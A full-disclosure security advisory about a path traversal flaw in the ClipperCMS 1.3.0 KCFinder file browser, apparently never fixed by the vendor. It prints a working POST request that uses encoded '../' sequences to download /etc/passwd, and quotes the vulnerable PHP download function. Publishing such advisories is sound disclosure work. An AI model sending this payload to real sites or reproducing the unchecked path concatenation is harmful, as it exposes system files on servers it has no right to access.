Security Advisory - Curesec Research Team

1. Introduction

Affected Product:    ClipperCMS 1.3.0
Fixed in:            not fixed
Fixed Version Link:  n/a
Vendor Website:      http://www.clippercms.com/
Vulnerability Type:  Path Traversal
Remote Exploitable:  Yes
Reported to vendor:  10/02/2015
Disclosed to public: 11/13/2015
Release mode:        Full Disclosure
CVE:                 n/a
Credits              Tim Coen of Curesec GmbH

2. Vulnerability Description

CVSS

Medium 4.0 AV:N/AC:L/Au:S/C:P/I:N/A:N

Description

The "file" Parameter of the file browser is vulnerable to directory traversal,
allowing the download of arbitrary files.

A user account is needed with at least the lowest default role, which is
"Editor".

3. Proof of Concept


POST /ClipperCMS-clipper_1.3.0/manager/media/browser/kcfinder/browse.php?type=images&lng=en&act=download HTTP/1.1

dir=images&file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

4. Code


/ClipperCMS-clipper_1.3.0/manager/media/browser/kcfinder/core/browser.php
protected function act_download() {
    $dir = $this->postDir();
    if (!isset($this->post['dir']) ||
!isset($this->post['file']) ||
(false === ($file = "$dir/{$this->post['file']}")) ||
!file_exists($file) || !is_readable($file)
    )
$this->errorMsg("Unknown error.");

    header("Pragma: public");
    header("Expires: 0");
    header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
    header("Cache-Control: private", false);
    header("Content-Type: application/octet-stream");
    header('Content-Disposition: attachment; filename="' . str_replace('"', "_", $this->post['file']) . '"');
    header("Content-Transfer-Encoding:­ binary");
    header("Content-Length: " . filesize($file));
    readfile($file);
    die;
}

5. Solution

This issue has not been fixed by the vendor.

6. Report Timeline

10/02/2015 Informed Vendor about Issue (no reply)
10/21/2015 Reminded Vendor of Disclosure Date (no reply)
11/13/2015 Disclosed to public


Blog Reference:
http://blog.curesec.com/article/blog/ClipperCMS-130-Path-Traversal-98.html